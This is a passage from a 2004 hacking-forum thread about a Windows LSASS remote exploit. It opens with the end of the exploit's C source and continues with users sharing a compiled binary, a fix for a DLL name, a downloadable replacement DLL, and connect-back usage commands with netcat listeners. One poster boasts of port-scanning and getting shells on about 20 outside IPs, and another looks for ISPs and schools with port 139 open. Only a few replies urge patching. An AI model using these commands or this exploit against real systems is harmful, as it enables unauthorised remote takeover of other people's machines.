printf("Ret value = %d\n",ret); WNetCancelConnection2(netResource.lpRemoteName, 0, TRUE); FreeLibrary(hNetapi);
return 0; }
I have attached the compiled exploit with it's source as an attachment in the post. For those who cant compile you can use mine~ No backdoor no shit no nothing.
rush
Apr 25 2004, 04:24 PM
Good post again dr0zaxx, gonna check it out!
Xenos
Apr 25 2004, 04:28 PM
Thanks dude, thanks a lot, I'm gonna test it tomorrow on my test box @ work Greetz to you
dr0zaxx can u pleaaaase tellme what c-compiler u used ?
i got some errors when i used win32-lcc
dr0zaxx
Apr 25 2004, 04:35 PM
QUOTE
brOmstar Posted on Apr 25 2004, 04:33 PM dr0zaxx can u pleaaaase tellme what c-compiler u used ?
i got some errors when i used win32-lcc
I used the standard Microsoft Visual C++ 6 Enterprise Edition
prolific
Apr 25 2004, 04:39 PM
I think it's not
QUOTE
hNetapi = LoadLibrary("sbaaNetapi.dll");
but
QUOTE
hNetapi = LoadLibrary("Netapi.dll");
I think it's a joke from the coder, to see who can REALLY understand the code...
dr0zaxx
Apr 25 2004, 04:42 PM
Sorry for the program error, i checked the code and i change the sbaaNetapi.dll to NetApi32.dll . Changing the NetApi.dll will result in an error too.
Sorry about it
rush
Apr 25 2004, 04:44 PM
ok it gives no shell on vulrenable machine: lsass 0 192.168.0.108 1111 192.168.0.105 win2k sp4 en!
dr0zaxx
Apr 25 2004, 04:48 PM
Nah, it's not their own library. They changed the stuff. It might be that on the programmer side of the computer they are using that dll filename. But i dont think so, by default the netapi used is netapi32.dll
Bombers
Apr 25 2004, 04:51 PM
i just try it , and my pc got rebot must be a virus or something..
Alexander01
Apr 25 2004, 04:56 PM
i got the same here
stonebreaker
Apr 25 2004, 04:58 PM
i have test it it is good
agathos
Apr 25 2004, 05:07 PM
stonebreaker haha show us a screenshot that was it succesfull thanks.
Alexander01
Apr 25 2004, 05:08 PM
i think he means his viruscanner don't detect it
x1`
Apr 25 2004, 05:15 PM
also need a null session scanner thanks alot for this
blackP0ster
Apr 25 2004, 05:28 PM
D:\>lsass 0 192.168.0.143 4444 192.168.0.143 shellcode size 316 Ret value = 1352
doesn't work for me..!
maybe successfully exploited, but i didn't get my shell back
Tried this exploit locally. setup my unix box to listen for the shell back.
ran the code. first time did its job. then got a dialog saying debug or not. but no shell.
ran it a second time. 2nd time prog said the same. but I got a RCP 60sec timer. but alas still no shellcode.
using XP Pro SP 1. guessing that it may work on some os. but not mine. but its close, very close.
thanks for posting the code. hope somebody has other results out there
Gurou
Apr 25 2004, 05:51 PM
works only on CHINESE windows
temp
Apr 25 2004, 05:53 PM
no, worked on my GERMAN win2k SERVER...
to get it working on remote, u have to compile your own netapi lib
The Storm
Apr 25 2004, 05:59 PM
also tried it and got a 60 sec. timer on German XP SP1!
Alexander01
Apr 25 2004, 06:01 PM
lol that's what i mean, just del it, nothing worth
dr0zaxx
Apr 25 2004, 06:03 PM
Why would you want to compile your own netapi.lib? Any reason? I dont see the need to
Fuas
Apr 25 2004, 06:04 PM
I see a patten here
all 2k boxes seem to fall. but nobodys had a shell on xp.
can ppl also post what os there using and what sp if poss.
brOmstar
Apr 25 2004, 06:04 PM
1-2-3 where is my exploit or what alex1 ?
this is hacking ..and i hope that we can get it to work alltogether the exploit works fine i think but we need to modify the netapi32.dll and this should be very interesting ..so everybody can learn a little bit more about his box =)
dr0zaxx look at exploit discussion i posted something there why we had to build a modified version
h3llraz0r
Apr 25 2004, 06:13 PM
no shell for me remotley. put already patched my system, tested it and no luck.
I'm using win Xp sp1 , neither local no remote work for me .. get teh 60 sec timer to shutdown
..
Gives Error Memory Cannot be referenced from some *** address
DigitCrash
Apr 25 2004, 08:05 PM
i just get shellcode size 316 RET value = 50 on remote machines
so Long DC
strasharo
Apr 25 2004, 08:06 PM
Here is the missing .dll if someone needs it.
Venom
Apr 25 2004, 09:17 PM
did anyone check uisng the exe from an unpatched machine and then from a patched machine ?
When i tried it on one of my unpatched machines it caused soem service to crash , giving that 60 sec timer window.
but when i tried it from a patched machine it gave .
D:\x\lsass_fixed>lsass.exe 1 11111 192.168.0.103 Create NULL session failed shellcode size 404 Ret value = 50
Edit: And like someone said you'll need a null session scanner
Shadowslave
Apr 25 2004, 09:28 PM
QUOTE (strasharo @ Apr 25 2004, 08:06 PM)
Here is the missing .dll if someone needs it.
works remote !!! with this dll thanx man ! tried on a win2k ger sp4
XeLoRy
Apr 25 2004, 10:24 PM
exellent job !!! thk you very much
BuzzDee
Apr 25 2004, 10:57 PM
OH F*CK!
this exploit is dangerous! i did a portscan on port 139, exploitet about 20 ips and had about 20 ncs open listening on port 1333. now i have 20 shellls...
DAMN....
temptation
Apr 25 2004, 10:59 PM
thx for this one ...
i will try
so i have to use the "not fixed" exe + the missing dll?
is that alrite?
Neo-Tokyo
Apr 25 2004, 11:16 PM
So, use the original exe with the new dll in system32? I dont get it, am i slow?
strasharo
Apr 25 2004, 11:47 PM
Yep, i`m glad that i was helpful to you.
seppel18
Apr 25 2004, 11:47 PM
Worx Wonderfull with Win2k Thx!!
Now we need one for XP
tweakz20
Apr 25 2004, 11:59 PM
can't get a shell here... nc -l -p 1333 (no responce)
rush
Apr 26 2004, 12:22 AM
its working (on local network) setup: lsass 0 target 123 connectbackip nc -l -p 123
nc -l -p 123 (now press enter) sheel will come here
btw, first thing in the morning patch youre god damn network! Windows2000-KB835732-x86-ENU.EXE!!!!
tweakz20
Apr 26 2004, 12:46 AM
did anyone get this to work outside local network...?
Killaloop
Apr 26 2004, 12:54 AM
QUOTE (tweakz20 @ Apr 26 2004, 12:46 AM)
did anyone get this to work outside local network...?
yes it works patch your systems!!
brOmstar
Apr 26 2004, 01:21 AM
boaahh deadly one ..works better then i ever thought
ssj4conejo
Apr 26 2004, 01:27 AM
Works perfectly on a local network on my 2k boxes, which are not updated.. my xbox box is already updated so it didnt work... Only prob with this is finding isps that ARENT blocking port 139... heh, trying to find some right now, or maybe schools, etc.
tweakz20
Apr 26 2004, 01:39 AM
there was a scan for this put out earlier in the convo (pretty sure it was this topic anyway)
been messing with this, no results yet.. but well see :> port 139 has been murdered :/
tweakz20
Apr 26 2004, 02:14 AM
QUOTE (ssj4conejo @ Apr 26 2004, 01:27 AM)
... Only prob with this is finding isps that ARENT blocking port 139... heh, trying to find some right now, or maybe schools, etc.
forgot to mention... isps aren't the people that control your ports, it's the administrator (of the local network/stand alone system) to watch out for the ports... and schools.... not a very smart place to hit... most schools don't allow access to netbios externally anyway
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